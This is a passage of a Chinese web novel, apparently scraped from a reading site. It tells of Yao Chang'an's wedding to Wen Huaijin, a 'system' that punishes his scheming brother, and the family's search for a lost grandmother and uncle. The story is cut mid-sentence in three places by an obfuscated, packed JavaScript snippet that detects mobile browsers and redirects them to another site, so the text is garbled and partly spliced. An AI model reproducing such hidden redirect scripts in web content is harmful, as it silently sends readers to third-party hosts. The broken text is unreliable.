温怀瑾有点意外:“呦,两个都是女孩啊,挺好的呀,将来你可以有两个上门女婿,等于多了两个儿子,恭喜恭喜。” 啪的一声,那头挂了电话。 不用问也知道,肯定气晕了,像一根炮仗,炸上天了。 可别说,真爽! 温怀瑾神清气爽地从卧室出来,他老婆正哼着今年春晚上大火的相约九八,在厨房给他洗葡萄呢。 那缓缓的水流声,便是岁月静好的安宁,她随口乱哼的调子,就是人间烟火的甜美。 他走过去,从身后环住了女人的腰身,下巴有自己的意识,一个劲地摩挲着女人的发顶。 姚长安笑着问道:“怎么了?像个小孩一样。”撒娇呢。 一个大老爷们儿,找自己老婆撒娇,还是不常见的。 见他不说话,姚长安拿起毛巾擦擦手上的水,转过身来勾住他的脖子:“呦,吃糖了?笑得这么开心?” “对,吃老婆糖了。”温怀瑾一把将她摁在怀里,“告诉你一个好消息。” 姚长安笑着在他心口画圈圈:“说吧,大树同志。” “树懒同志,我把我弟气炸了。”温怀瑾没忍住,自己先笑了出来。 姚长安也笑:“是吗?大树同志真棒!” “你不问我怎么气他的?” “你想说自然会说呀。” “我想说,你快问我。” “吻你行不行?” “行,傻老婆。”温怀瑾喜欢这样的谐音梗,脸颊上落了一个甜甜的香吻,他这才说道,“我威胁他了。” “用卢小晓的事情?”姚长安不笨,一下就猜到了。 温怀瑾抱着她往卧室走去:“对,树懒同志真棒!” 哈哈哈!姚长安狠狠亲了他一口,忽然好奇:“他到底找你干嘛的?报喜的?” “应该是吧,两个女儿,问他他也不说,我猜的。”温怀瑾把门关上,窗帘已经拉着了,夜色正好,温存温存。 姚长安有点意外,这不对啊,温枕瑜跟陆祯愉不是生了三个儿子吗? 好奇怪,可是不等她找系统发问,男人的吻已经铺天盖地地落了下来。 好吧,不管了,温枕瑜的事情只配跟垃圾一样,扫进垃圾桶,扔的时候再问。 事后,姚长安趁着温怀瑾去冲澡,赶紧问了问系统:“怎么回事?温枕瑜的儿子飞了?” 系统立马上线:“飞了,他骗邢亚辉投资五百万,暴雷后邢亚辉坐牢去了,他跟个没事人一样,这是不符合社会主义核心价值观的,根据新的世界观规范,他的儿子被他的五百万蝴蝶掉了。” “哦,简而言之,这是他的报应。” “对。” “那他老婆生了女儿?” “并非女儿。” “什么意思?”姚长安吓了一跳,“不男不女?” “孩子没保住。” “啊……”姚长安忽然有点同情陆祯愉,“那他老婆不是惨了。” “这个没办法,目前来说,儿子是他最想要的,只能蝴蝶掉这个。而且,作为他的配偶,在知道他骗了别人五百万投资之后,应该进行规劝,陆祯愉并没有这么做,而是选择了包庇。” “他们没有还钱吗?” “没有。”系统无奈,“宿主,你有好久没关心温枕瑜的剧情了吧,你看看,已经扭转了百分之十了。” “我恶心他,只要影响不到我,我就懒得查看进度条。”姚长安看了眼,果然,商店已经激活了,日期在去年的除夕夜。 也就说……温怀瑾开车去找她的时候,已经扭转了温枕瑜的人生轨迹? 那可太好了! 她看了眼系统商店,都是些好东西,而且不需要消耗额外的什么货币,只要是橱窗里的都可以免费使用,真好。 系统补充道:“目前上架的商品你看看有没有想要的,如果没有,我会在三天后刷新。” 姚长安问道:“刷新后这些就没了?” “有,系统后台会保存前三次上架的产品,你在往期橱窗可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005645|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以查看并使用,三期之后还没有使用的就下架了。没事的,后期也会有相似产品上架,只是为了保证提供的都是最新生产的产品,尤其是那些食品。” 那还挺贴心的,姚长安取了一款面霜出来,夏天紫外线太狠了,护个肤好了。 * 温怀瑾的婚事,气得温枕瑜半个月没有跟他妈妈说话,许冬琴一直觉得愧对这个儿子,自然逆来顺受。 还特地回了趟栖梧县,照看了卢小晓几天,到底给她生了个亲孙女,总比没保住的孙子强。 她拿自己的私房钱,贴给卢小晓二十万,让卢小晓安心坐月子,奶孩子,户口的事已经有办法了,让卢小晓放心。 离开的时候,老太太叫住了许冬琴:“冬琴啊,定方跟我说,怀瑾要结婚了?听说女方还是本地的,你难得回来,带我去看看好了。” 许冬琴不想去,找了个借口敷衍道:“妈,你是长辈,哪有让你主动过去拜访晚辈的道理?女方家里要是懂事,应该在婚礼定下来就来找你才对啊。” 老太太赶紧解释:“找了呀,还留了请帖,我在医院照顾小晓,没在家,人家让邻居把东西给我的。我过意不去,你还是带我去一趟吧。” 毕竟她是为了二孙子偷偷养的小老婆,才耽误了大孙子的老丈人上门拜访的事情,不怪人家。 许冬琴还是不愿意,借口道:“妈,老二媳妇还坐月子呢,我不能离开太久的,实在想去的话你自己去吧,啊,我问过了,就在城东,不远的。” 老太太生气了,一把将她搡开:“不去拉倒!我自己去。没有你这样当妈妈的,人家女方家长又不是不讲礼数的人,是你非要让我帮你照顾小晓的。” 许冬琴无奈,只好去商店买了点水果牛奶,带婆婆去姚家拜访。 正是午饭时间,姚良远回来做饭,刘克信留在店里照看着。 有人敲门,他赶紧关了灶头,开门一看,是个陌生女人,还带着一个老太太,他赶紧客气地问道:“阿姨好,你们是?” “你就是亲家公吧?我是怀瑾妈妈,这是怀瑾奶奶。前阵子她老人家去医院照看亲戚了,不在家。”许冬琴还是要做做面子功夫的,赶紧解释了一下。 姚良远笑道:“原来是去医院了啊,怪不得我们第二天去还是没人呢,快进来吧。” 招呼着老太太坐下,姚良远赶紧给店里去了个电话,很快刘克信就赶了回来,还特地从店里给老太太和亲家母都带了一身新衣服。 她笑着打了招呼,比划道:“我也不知道你们的尺码,还好我找女婿问过,你们试试,看看合不合身,合身的话,回头婚礼的时候可以穿。” 许冬琴正好懒得准备,便扶着老太太去卧室试了试,别说,尺码还都挺合身的,就是料子的档次差了点,到底是小县城的服装店,太好的料子也没人买。 许冬琴没说什么,收下衣服出来吃饭。 席间姚家两口子很是客气,丝毫没有怨言,要知道,人家可是连着去了好几次,回回都见不着人,这才打消了亲自拜访的念头。 这要是换了陆家的老两口,一次就要给她脸色看了。 这么一对比,大儿子找的老泰山一家,还是挺不错的,就是不如老二媳妇家有权有势。 不过凡事有利有弊,许冬琴也懒得为大儿子操心,现在有人要她大儿子就谢天谢地了。 吃完饭,老太太却舍不得离开,还是她撒了个谎,提醒要“去医院看亲戚”,老太太这才依依不舍地走了。 “我就说了,怀瑾是有福气的,你看看他老丈人多和气,丈母娘也会来事,说话多好听啊。”老太太坐了一路的车,夸了一路。 许冬琴的心里很不是滋味,但也没说什么,她虽然不怎么关心大儿子,可那也是她亲生的,只要他过得好,不给她惹事,她也乐见其成。 到了家门口,许冬琴准备走,又被老太太拽住了:“冬琴啊,陆家那边什么情况?怎么问你你也不说,我给定方打电话,他也不说。怎么,是不是生了个闺女,不高兴?” “是个儿子。”许冬琴默默叹气,看着老太太脸上荡漾开的笑意,还是说了真话,“没保住。” 老太太的笑凝固在脸上,往后半个月再也没笑过。 不过大孙子明天要办婚礼了,早起她还是振奋精神,高高兴兴地换上新衣服,等姚家父母来接她。 姚良远亲自开车,载着老婆和大舅哥刘克仁,以及女婿的奶奶,往金陵去了。 大嫂孙文姗今天坐诊,请不下假来,只得等大儿子明天一起过去。 姚长安也起了个大早,化妆打扮,全都是温佑琪安排的,看来有个当明星的小姑子还挺好,自带化妆师。 换好婚纱,她这才走出了房间,被小姑子扶着,拍婚纱照去了。 折腾了一天,把她累够呛,一想到明天还有婚礼,她真想做逃兵。 还好男人体贴,又是捶肩又是捏腿的,一会儿就睡着了。 刚睡下,电话响了,温怀瑾拿起来喂了一声,那头愣住了,没有说话。 他一看,原来是他老婆的大哥大,跟他的太像了,不过为了区分,他老婆贴了个卡通的贴纸在背面。 他没有着急,等着对面先开口。 很快,对面调整好了心情,问道:“是怀瑾吧?结婚这么大的事,也不通知我一下?” 40. 亲哥(二更) 温怀瑾工作忙,姚长安又懒得耗费心神,所以婚礼的事两口子都没有操心。 至于邀请哪些亲眷,那是两边长辈的事,两口子只管把自己重要的朋友列出来,交给他们,其他的就不管了。 没想到,两边长辈都没有邀请邢铁军。 这也正常,温怀瑾的小姨死了,邢铁军再婚了,就不算是温家的亲戚了。 而姚家那边,谁会傻到邀请自己女儿前未婚夫的爸爸呢?这不是给自己找不痛快吗? 两边不约而同,都把这个曾经的“亲友”跳过去了,直到邢铁军去找姚良远办事,才从姚良远邻居口中得知,两口子去金陵了。 走的时候提前给街坊邻居都派发了喜糖,说是去金陵参加女儿的婚礼。 至于女婿是谁?邻居只知道小伙子老家也是栖梧县的,如今在金陵上班,其他的就不清楚了。 邢铁军只能去回迁房那边找夏家的人打听,这一打听,才发现夏家众人也被跳过去了。 一个都没有邀请!等于是不认这门亲戚了! 夏良达气得不轻,给孙文姗打了个电话,原来新郎是邢亚辉的大表哥温怀瑾,一旁的邢铁军不免两眼一黑,天塌了。 回到家里,他怎么也想不通,就算姚家不请他,怎么温家这边也不知会他一声呢? 偏偏他儿子坐牢去了,他又没脸给温定方打电话,只好打给了姚长安,没想到接电话的是温怀瑾,这个曾经的姨外甥。 邢铁军很是尴尬,只得寒暄了一声。 温怀瑾不希望他来,直接说道:“是亚辉爸爸呀,请你来不合适。再说了,你不是在给亚辉凑钱还债吗?也没工夫来吧。” 邢铁军脸上火辣辣的,他能凑什么钱?他现在的老婆非扒了他的皮不可。 但凡他有能力还钱,邢亚辉都不会被判十年。 现在温怀瑾连一声姨父都不喊了,态度还不明显吗? 邢铁军要脸,尴尬地笑笑,挂了电话。他很不爽,打给了温枕瑜:“都怪你,要不是你让亚辉投资那个楼盘,就不会有这档子事儿!” “那你报警抓我吧。”温枕瑜有恃无恐,他只是给出了建议,非法集资的不是他,他不怕。 邢铁军气得不行,黑着脸生了一整晚的气,第二天顶着黑眼圈去车店开门,帮客户修车的时候犯了困,气泵没拿稳,嘭的一声,把他自己顶飞出去,狠狠撞在了门口的行道树上,口吐鲜血,昏死过去。 紧急抢救,命是保住了,肋骨断了三根。他绝望地盯着天花板,悔不当初。 他几乎可以想象得到,姚家两口子现在得有多开心。不管怎么说,他们的女儿从小地方嫁到省城去了,亲家公还那么有本事,真是一件风光的事情。 比嫁给邢亚辉强了百倍千倍。 真是人比人气死人。哎。 * 姚长安今天办婚礼,她没有亲姐妹,也没有亲兄弟,还好大表哥刘行健特地赶过来给她送嫁,她还是挺感动的。 上了婚车,小姑子温佑琪和黄华给她做伴娘,两人穿着粉色连衣裙,连声道贺。 姚长安还是挺喜欢这个小姑子的,性格活泼,没有什么坏心眼,可惜小姑子在原文里也是个血包,拍戏挣的钱都被温枕瑜哄着去投资了,血本无归。 现在姚长安跟她做了姑嫂,等有了合适的时机,自然会提醒一声。 温佑琪也挺喜欢这个大嫂,没什么架子,比二嫂好相处,她趴在姚长安耳朵边上小声道:“大嫂,告诉你个秘密。” “什么?”姚长安坐下,扶了扶头上的蕾丝。 温佑琪提前给她打个预防针:“二哥跟二嫂没回来,听说二嫂坐的是空月子,抑郁了,二哥陪她看病呢。” “空月子?”姚长安虽然从系统那里知道了真相,但是温家没人告诉她和温怀瑾,她只能装傻。 温佑琪点点头:“是个儿子,没保住。所以她家来的是她爸爸,陆向东。” “呦,看来我跟你大哥的面子不小啊。”姚长安有点意外,陆家现在风头正盛,连温定方都不放在眼里,怎么会来她的婚礼呢? 难道是看在温怀瑾是个刑警的份上?也有可能。 温佑琪有点小道消息,摇了摇头,道:“不是的,我爸跟我透漏了一点,听说,我只是听说啊,不保真,错了你也别怪我。” 姚长安纳闷儿了,听小姑子的言外之意,事情跟她有关?她很好奇:“怎么?总不能是因为我的面子吧?” “差不多!”温佑琪也觉得惊奇呢,问道,“你爸爸的亲爹不是建设兵团的吗?前阵子父子相认了。” “对呀。”那天两家长辈见面,温佑琪也在场的,姚长安不理解。 温佑琪神秘兮兮的:“这就对了,你那个亲爷爷,是陆向东的姑父。” “什么?”姚长安差点没拐过弯儿来,这谁想到啊,原文也没写啊,她小声道,“我爸没跟我说啊。” “听说你爸妈在西北跟陆向东的姑妈闹得很不愉快,估计是因为这个,没告诉你,怕你为了长辈的事着急。”温佑琪宽慰道,“你也别担心,陆向东的姑妈不来,婚礼不会有人搞破坏的。” 姚长安不是担心这个,她是心疼,爸妈不知道在西北受了多少委屈。 她很是感激地握住温佑琪的手:“谢谢啊琪琪,这个信息对我很重要,你真好!” “不客气大嫂,一家人嘛。”温佑琪笑着捏捏大嫂的脸蛋儿,真水嫩,学习还好,难怪她哥一头扎进去了。 一旁的黄华也听了个大概,好奇道:“怎么,两家有仇吗?” 温佑琪摇了摇头:“花花姐,你先别问,我大嫂自己还蒙在鼓里呢,这是我从我爸那里听的一点消息,回头搞清楚了再跟你说。” “行,那我不问了。”黄华人不错,不该打听的就不好奇了。 两人扶着姚长安在饭店门口下车,温怀瑾穿着西装,已经在门口等着了,见状赶紧过来扶着点百合花搭建的拱门,免得碰掉她头上的蕾丝。 姚长安笑着问道:“不是说婚礼前咱俩不能见面的吗?” “都领证一个多月了,谁还在乎那个。”温怀瑾一早上没见着老婆了,想念得紧,但他知道要走流程,所以他只是帮忙搭把手,没有直接牵着姚长安。 后面那辆车也停下来了,下来的是孙文姗和她大儿子刘行健,母子俩刚下车,便看到温怀瑾客客气气地过来打招呼:“大舅妈,大表哥,路上辛苦了。” 母子俩很是高兴,忍不住地夸赞这孩子懂事,随后跟着他去了女方那边的席位。 两边都来了不少亲友,女方家爸妈到了,男方家妈妈没到,爸爸和奶奶到了,还有个小明星的妹妹。 其他的亲属也都络绎不绝地到场,气氛热闹,很是欢快。 不过女方那边的长辈好像在等人,一直站在门口,迟迟不肯进来。 等到婚礼即将开始的时候,来了个梳着大背头的男人,穿着中山装,一脸的书卷气,四十来岁的样子,头发黑黝黝的,看起来精神头不错。 温家长辈面面相觑,都不认识,温怀瑾赶紧叫上温定方,去门口招待对方。 姚良远喜出望外,他压根没有指望这个大忙人能过来,赶紧兴高采烈地握住孙文斌的手,对着里面喊道:“大嫂,文斌来了!” 孙文姗笑呵呵地领着男人和大儿子出来:“你大哥非要他来,他敢不来嘛!你们就这一个孩子,他不得捧捧场嘛!” 孙文斌笑着看向面前站着的陌生小伙子:“这就是女婿吧?温怀瑾小同志?” 温怀瑾不知道怎么称呼,只得求助地看向老丈人,姚良远赶紧介绍:“这就是长安舅妈家的弟弟,在603所工作,孙文斌,孙工。你叫他舅舅就行。” 也对,舅妈的弟弟,那不是舅舅是什么呢?温怀瑾赶紧叫人。 孙文斌拍拍他的肩膀:“真不错,一表人才。” 姚良远又赶紧介绍亲家公温定方给姐夫的小舅子认识,一群人围在一起,热热闹闹的,只有新娘子需要在后场等着,真气人。 姚长安想凑过去叫人,温佑琪赶紧扯住她:“大嫂你别急啊,等会仪式结束了再叫,一样的。你现在去了,有些迷信的亲戚会说你婚礼之前见到新郎了,不吉利。” 还有这种说法,真是糟粕。 寒暄结束,众人邀请孙文斌等人去里面坐下,姚良远跟刘克信却还是在外面等着。 其实温家这边也差个人,思来想去,父子俩也出来了,陪着姚家爸妈一起等。 距离婚礼不到半个小时的时候,大忙人陆向东终于赶了过来,看到温怀瑾便心生感慨,这孩子看着比温枕瑜靠谱多了,彬彬有礼的,懂事,又守规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也许是他姐姐说的?姚良远赶紧叫上穆从意,看看是在她那边加个位置,还是在女方长辈这边。 穆承恩最终跟刘行俊坐在了一起,紧挨着老姚,三个穿军装的,坐在一起,多有排面啊,旁边还有个气质不俗的总工程师,一看就知道女方的亲戚都特有身份。 姚良远都快笑得合不拢嘴了,今天这场子,可算是给闺女撑得足足的。 婚礼开始,他跟刘克信一起,一左一右挽着女儿的胳膊,从门口走进,来到了温怀瑾面前。 司仪笑着说起了千篇一律的台词,让对方交换戒指。 台下的孙文斌装备齐全,他从包里拿出相机,咔嚓一声,拍下了一张角度特别的合影,正好把旁边的穆承恩也带了进去。 婚礼结束,姚长安过来叫人,虽然敬酒的时候叫过一次了,但是为了走流程,没有时间说话。 这会儿自由了,她得好好认一认亲戚。 孙文斌笑着打量着她,又看看旁边的穆承恩,不禁好奇:“阿远,这两个孩子长得还挺像的,哈。” 姚良远知道他什么意思,含蓄地提醒道:“可不是嘛,真是缘分,承恩跟他姐姐都是壶州的,说他丢了个三岁的妹妹,非要认长安做妹妹,我瞧着两个孩子有缘,就答应了。” 原来是这样,那肯定不对,长安抱过来的时候才一个月。 孙文斌也觉得是巧合,寒暄了一会儿,便起身道:“我还要赶飞机,有空来找我玩儿,带你们看兵马俑。” 大家都知道他忙,不好强留,姚良远夫妻赶紧把喜糖和烟酒装好了递给他。 孙文斌提醒道:“喜糖多拿点吧,我答应了组里的小设计员,给他们带喜糖。” 刘克信一口气拿了三十几份,每个都用小福袋包扎起来,很喜庆。 孙文斌瞧着足够了,笑道:“那我走了,祝你们小两口恩爱幸福,早生贵子!” “谢谢舅舅,舅舅我送你。”姚长安赶紧扯了扯温怀瑾的胳膊,帮长辈提东西。 回到宴会厅,发现老姚正在跟陆向东生气,陆向东一个劲地保证:“我一定找老家的人打听,一定给你个答复,生要见人,死要见尸。” 见尸?什么尸?职业刑警的雷达瞬间发出警报,温怀瑾挽着姚长安走过去:“爷爷,陆叔叔,你们在说什么?” “是啊,是不是有凶杀案?怀瑾可以帮忙。”姚长安意识到了什么,赶紧看了眼姚良远和刘克信,希望他们过来说个清楚。 41. 照片1(三更) 姚良远本来还想瞒着女儿,毕竟这件事过去几十年了,他又没有什么明确的证据,追查起来没那么容易。 而且女儿刚结婚,大喜的日子说这些容易扫兴。 可是他也没想到陆向东会来,更没想到谈话正好被女儿听见了,事已至此,再瞒下去也不合适,他只得大致提了提。 姚长安听罢,立马猜到问题在哪里:“也就是说,奶奶出发的时候才怀孕三个多月,而那个陆医生却说她在火车上生的孩子,这中间差了六个月的时间。” 姚良远点点头:“没错,你奶奶走的时候是初夏,陆医生抱着孩子去找你爷爷的时候已经是冬天了。我怀疑那个陆医生可能把你奶奶骗到什么地方关起来了,然后跟你爷爷报了死亡。再利用你爷爷工作忙,没空照顾孩子的客观难处,让你爷爷给她打了个亲戚投靠的证明,让她留在部队家属院照顾孩子,因为她说她的孩子没断奶就夭折了,正好有现成的奶水。” “可是奶奶出发的时候,难道没有给爷爷寄信吗?隔了半年才到兵团,爷爷就不怀疑吗?”姚长安不理解。 姚良远看了眼老姚,这个问题他也问过,只得回道:“那个陆医生说,你奶奶夏天去的时候,火车在半路遇到了山体滑坡,因为动了胎气,没办法再坐火车,所以就在当地的县城住下,等到快生的时候才重新出发的。” “这更是无稽之谈了,快生了还坐火车?我奶奶又不是傻子。爷爷就这么信了?”姚长安简直无法理解。 姚良远也觉得离谱,包括在场的其他亲眷,全都齐刷刷看向了老姚。 老姚脸上火辣辣的,只得硬着头皮道:“我以为她是怕留在当地不好报户口,况且我跟你奶奶分开的时候正好吵过架,心里有气,也就没有多想。” “那你也太心大了。”温佑琪忍不住插了句嘴,她说出了所有人的心里话,“奶奶怀着孩子呢,一个人去找你,你就不担心她会出事吗?” 温定方没想到小女儿会插嘴,赶紧瞪了她一眼,温佑琪撇撇嘴,赶紧躲到大嫂身边去了。 姚长安立马搂着她:“爸,没事的,琪琪还小呢,爷爷不会跟她计较的,是吧爷爷。” 老姚尴尬地笑笑:“没事,确实是我不对。我现在想起来,处处都是问题,还是当年太年轻了,顾着跟你奶奶置气,没有深究。” “那后来抱过去的那个孩子,做过亲子鉴定吗?”温佑琪好奇得很,偷偷从大嫂肩膀后面探出半截脑袋,只露出一双亮晶晶的大眼睛,像个被大灰狼恐吓过的小羊羔似的。 她爸果然飞了个白眼,不过没关系,大嫂握紧了她的手,说明大嫂也想问呢。 姚老苦涩地笑笑:“上上个月做了,不是我的。” 那就搞笑了,给别人养了几十年儿子啊。 姚长安简直服了,亲自问道:“那你就没有问过那个女人吗,你的大儿子呢?” “她说你爸爸顽皮,掉水塘里淹死了。当时她身上有你奶奶的全部证件和照片,唯独没有你爸爸最新的单人照,我就信了。后来我也写了信给这边核实,回信跟我说,确实是死了。”老姚也不是全无心肝的人,老婆死了,大儿子也死了,他怎么着也得找人核实的。 姚长安震惊不已:“怎么,那个女人在这边还有帮凶啊?” “应该是的。”老姚追悔莫及,当初但凡多想一想,事情就不会是这个样子。 姚长安无语了:“那我爸写的信呢,你怎么一封都没有收到啊?” “真没有收到,我跟……”老姚斟酌了一下称呼,道,“我跟你陆叔叔的姑妈吵了几个月的架,她不肯说实话,我只能找人帮我调查,最近才知道,她收买了邮局的人,一有这边的信,全部给她。” 姚长安气死了,连带着看陆向东都不顺眼了,她很怀疑:“这些陆叔叔知道吗?” 陆向东冤枉啊,这关系到他的官声,可是大问题,立马澄清道:“我要是知情不报,我立马被双规!” 这个毒誓够狠的,也是没辙了,毕竟这么多亲属都在呢。 姚长安也觉得应该不至于,毕竟他只是老妖婆的侄子,又不在一个地方生活,哪能知道那么多内情呢。 就像她自己,也不知道自己亲生的父母到底在哪里。 但她不想就这么算了,她盯着陆向东,狐疑道:“陆叔叔,这么多年,你沾过我爷爷的光没?” 这话可算问到要害了,陆向东瞬间气短,看来姑父的这个孙女并不好糊弄,他立马坐直了身体:“实话说,沾过。” “陆叔叔,我相信你的为人,不想恨屋及乌。我是想请陆叔叔看在我爷爷帮过你的份上,也帮帮我爸爸,他就那一个亲妈,就算真的不在了,也该把人找回来,入土为安不是吗?”姚长安尽量让自己显得不那么咄咄逼人,毕竟目前最容易被道德绑架的就是陆向东了。 只要他还想在首都做官,只要他在乎自己的官声,这件事他就一定会查个水落石出的。 陆向东确实是这么想的,立马保证道:“这是应该的。我已经跟你爷爷保证了,绝不包庇任何人。” “谢谢陆叔叔。”姚长安深深地鞠了一躬,“刚才情绪激动,得罪了,希望你原谅。” 陆向东赶紧推了推温怀瑾,让他把人扶起来,没想到温怀瑾来了个妇唱夫随:“拜托陆叔叔了,这对我们全家都很重要。我想,如果你姑姑人性未泯的话,也许我岳父的弟弟还活着。要是能把人找回来,那就太好了。” 陆向东明白,他赶紧把两个晚辈扶起来:“快快起来,大喜的日子,想点开心的。” 心里却暗暗叫苦,这下惨了,这么多人看着,两个孩子又是鞠躬又是致谢的,这是把他架在火堆上烤啊,这事他不早点查清楚就没法做人了。 散席后赶紧给老家的亲眷打了电话,要他们尽快找个知情的人,跟他联系。 至于老姚,临走时欲言又止的,姚长安瞧着不对劲,赶紧扯着姚良远和刘克信的胳膊,跟着老姚单独出去了。 老姚拿了张老照片出来,上面是一家四口,他,原配,以及一个五六岁的男孩子。 姚良远很是诧异:“这是我妈?这男孩是谁?”毕竟他妈去兵团的时候他才一岁出头,还没有记事呢,要不是夏家的人整天叨叨,他根本不知道自己是个军人的孩子。 老姚红着眼睛默默垂泪:“是你大哥,大轰炸的时候跟我们失散了,生不见人,死不见尸。我跟你妈妈后来经常吵架,就是因为她一直闹着要找你大哥,可是我工作忙,我跟你妈妈又都没有父母在世了,她一个人我不放心……”老姚很是惭愧,他把照片交给了姚良远,“我上个月,被他们气得住院了,我也不知道还有多少日子可活了,你拿着它,有生之年要是能找到你大哥,记得跟我说一声,我要是死了,就去烧柱香。我对不起你妈,下辈子……” 说到最后,老爷子泣不成声,姚良远却并不想原谅他,就这么红着眼睛,父子俩大眼瞪小眼,谁也说不出口安慰的话。 一旁的刘克信接过照片,当场愣住,如果说姚良远长得像老姚的话,那照片上的这个男孩就像她婆婆。 而这个男孩…… 老姚走后,夫妻俩没去姚长安的新房,而是去她之前的小两房住下。 等孩子走了,刘克信才拿出那张照片:“远哥,你陪我去趟钢铁厂。” “怎么?”姚良远有点好奇,怎么忽然提这个。 刘克信咬咬牙,解释道:“长安的亲爸,我见过报纸上的照片,跟这个男孩有点像,但是我不确定是不是记错了。” “真的?”姚良远平时不爱看报,毕竟大学名额被夏家那个弟弟抢了,他自暴自弃了好一阵子。 没想到……他赶紧接过照片,看了又看,不会这么巧吧?长安的亲爸也许是他亲大哥? 不行,赶紧去看看。 很快,两口子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温枕瑜现在心情烦躁,懒得跟他啰嗦,让他烧了档案,当晚就转了一万块钱给他。 第二天姚良远跟刘克信再来的时候,管理员又坐地起价:“有人不想让你们调查下去,给了五万,让我把它烧了。我骗他说我烧了,现在这东西怎么处理,全看我的心情了。” 言外之意,得加更多的钱! 刘克信不信:“五万?你当我是傻子吗?一口价两万,爱卖不卖,又不是只有你这里有,我去省人事局的档案馆找,也是能找到的,还有,当年他们牺牲的时候,报纸上都刊登过的,不差你这一份档案。” 管理员急了,赶紧妥协:“好好好,两万,成交。” 其实人事局就算有,也只有他们刚刚入职时期的,不可能随时更新后期的生育和家庭情况,所以这里的资料其实是最全的,独一份的。 要不然,那个不知道姓名的人也不可能收买管理员,阻拦别人调查。 刘克信脑子转得快,当即冷笑道:“不好意思,你现在想卖,我还不想买了。” 管理员急了,赶紧扯着她的膀子:“有话好说嘛老板娘,一万八,给你了。” “你告诉我收买你的那个人叫什么,我给你两万三。”刘克信是懂讨价还价的,给一棒槌再加个甜枣,对方立马又美起来了。 立马讨价还价:“两万五。” “成交。”刘克信身上没带这么多钱,她看了看手表,“你跟我们去银行,一手交钱,一手交资料和姓名。” 一个半小时后,男人拿着厚厚的一沓钞票亲吻,高兴得跟什么似的,临走还附送了一个消息给他们:“对了,另外几个来调查的人,有一男一女,是西北来的,男的穿军装,女的不知道干什么的,都是二十来岁。还有一个有点本地口音,又带点外地口音,我听不真,看着快三十了,女的。这三个人叫什么我都不知道,行了,谢了,走了。” 两口子对视一眼,估计是长安的哪个兄弟姐妹? 刚准备打车离开,那管理员又回头补充道:“对了,那个军人,跟姚工长得很像!特别像!厂里的老人都怀疑他是姚工的第四个孩子,就是档案上写的那个。” 两口子低头一看,姚长英。 42. 照片2 姚长英?两口子昨天的注意力都在照片上了,现在才把重心放在了几个孩子的名字上。 五个孩子,除了最后一个写的是老五,其余都是“姚长某”的格式。 姚良远不禁感慨:“难怪丈母娘把长安抱来的时候就取好了名字,她可能知道点什么。” “可惜她老人家年纪大了,一阵儿清醒一阵儿痴呆的。”刘克信很是无奈,“不行回去问问大哥吧。” “嗯。”姚良远有点难受,如果姚远征真是他亲大哥,那他爸估计要伤心死了,因为这个儿子早就跟他爱人因公牺牲了呀,几个孩子也都下落不明。 不过这么一来……长安就是他亲侄女儿? 这世界还真是奇妙,可惜他跟大哥长得不像,要不然丈母娘应该早就能察觉到他们的血缘关系了。 事已至此,再回栖梧县被动等待消息就不合适了,毕竟他们现在有三个要紧的事要追踪—— 一、大哥真是钢铁厂的这个姚远征吗?会不会是巧合?毕竟老姚说了,大儿子叫姚大宝,现在除了相貌和出生日期对得上,名字并不符合。 二、姚良远亲妈到底是死是活?死了葬在那里?活的话人在哪里? 三、姚良远的亲妈到底有没有生下当时怀着的孩子,如果有,是男是女?人在哪里? 至于长安的身世,他们本来就不在意,反正生不了,是亲侄女那就是上天垂怜,让他无意中救下亲大哥的血脉,不是也没差别,都是他们的宝贝。 现在只要把主要的三个大事解决了,其他的都迎刃而解了。 两口子商量了一下,准备把栖梧县的店关了,来省城开店。 这样万一闺女怀孕了,还能搭把手,他们就这一个宝贝闺女,两口子压根舍不得让她受罪。 那么新的问题来了,是现在就把一切都告诉闺女,还是等事情水落石出了再说呢? 姚良远想了想,一锤定音:“等水落石出吧,女婿工作忙,以后他们的小家都是咱闺女操心,就别拿这件事烦她了。” 刘克信非常赞同:“是啊,她那个臭脾气容易闯祸。你看昨天,她把陆向东怼得一愣一愣的,这是她运气好,遇到了要脸面的人,被她架起来了,不得不妥协。要是以后遇到那种不要脸的下三滥,可有得她吃亏呢。” 两人给姚长安打了个电话,便开车回去了。 * 姚长安辞职了,她准备开个自己的书店,这样可以雇几个员工,她把时间省下来,做点别的事。 温怀瑾二十七才结的婚,符合年满25岁算晚婚的标准,所以他的婚假足足有十天。 他从婚礼前一天开始休假拍婚纱照,到今天还有七天空余,便跟姚长安相约,这几天把全城的书店都逛一遍,博采众长。 顺便带着姚长安逛逛市里的几个著名景点,两口子为了纪念,还特地买了个相机,边玩边拍。 夜游秦淮河的时候,姚长安一脸的感慨:“来了一年多了,才发现这里的夜景好漂亮啊。” “你之前休息的时候不出来玩吗?”温怀瑾还以为她来过了,毕竟这是外地人过来必定会游玩的景点之一。 姚长安摇头:“人太多,我不喜欢热闹,但是跟你一起的话,我就听不见那些吵闹的声音了。” 只听得见心跳的频率。 温怀瑾在心里默默补上这句话,忍不住搂住新婚妻子的肩膀:“长安,你怎么总是可以说出我的心里话呢?” “也许这就是天生一对?”姚长安笑着回眸,正好倚在栏杆上,背后是灯火绚烂的游船。 光影交替,温怀瑾抓拍下这个唯美的镜头,笑道:“你今天是只漂亮的树懒。” “哎呦,那你今天就是一棵嘴甜的大树。”姚长安笑着走过来,摘下他肩上背着的三脚架,“拍张合照吧,我一个人多没劲。” 